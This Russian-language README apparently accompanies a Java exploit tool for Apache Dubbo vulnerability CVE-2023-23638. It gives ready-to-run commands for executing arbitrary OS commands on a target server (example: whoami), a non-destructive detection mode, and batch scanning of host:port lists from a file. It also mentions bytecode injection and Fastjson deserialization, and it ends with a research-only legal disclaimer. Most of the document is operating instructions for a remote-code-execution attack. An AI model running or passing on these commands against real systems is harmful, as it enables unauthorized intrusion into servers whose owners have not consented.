
Инженерная практика эксплуатации уязвимости Apache Dubbo (CVE-2023-23638)
Инженерная реализация эксплуатации уязвимости Apache Dubbo (CVE-2023-23638), охватывающая процесс от обнаружения сервисов до эксплуатации уязвимости и получения вывода в версиях Dubbo 3.x. Данный инструмент предназначен только для исследований и обучения. Приглашаю коллег к обсуждению и буду благодарен за ценные предложения.
Инструмент поддерживает полную эксплуатацию CVE-2023-23638 в Dubbo 3.x, включая обнаружение сервисов, эксплуатацию уязвимости и получение вывода. В версиях Dubbo 2.x также возможно использование, но необходимо вручную указать имя сервиса, имя метода и т.д. По этой уязвимости я написал две аналитические статьи:
Данный инструмент предназначен только для обучения и не учитывает многие практические аспекты, например:
В дальнейшем будут обновления
Этот проект больше не будет обновляться. Более полное сканирование и эксплуатация Dubbo будут открыты в другом проекте в будущем. Следите за новостями!
Благодарю коллегу y4tacker за идею нативной десериализации Fastjson.
Эксплуатация одного URL
java -jar CVE-2023-23638.jar TARGET_IP TARGET_PORT COMMAND CHARSET(по умолчанию UTF-8)
пример:
java -jar CVE-2023-23638.jar 127.0.0.1 20880 whoami
Безопасное обнаружение одного URL (без нанесения ущерба)
java -jar CVE-2023-23638.jar -s TARGET_IP TARGET_PORT
пример:
java -jar CVE-2023-23638.jar -s 127.0.0.1 20880
Пакетное обнаружение
1.txt:
127.0.0.1:20880
192.168.1.1:20880
java -jar CVE-2023-23638.jar -f FILE_PATH
пример:
java -jar CVE-2023-23638.jar -f 1.txt
Внедрение байт-кода

Выполнение команды

Данный инструмент предназначен только для исследования уязвимостей и обучения. Если вы хотите проверить его работоспособность, пожалуйста, самостоятельно разверните среду-мишень. При использовании инструмента для обнаружения убедитесь, что ваши действия соответствуют местным законам и нормативным актам, и что у вас есть достаточные разрешения. Не сканируйте неавторизованные цели. Если вы совершаете любые незаконные действия при использовании данного инструмента, вы несёте за них полную ответственность. Мы не несём никакой юридической или связанной ответственности.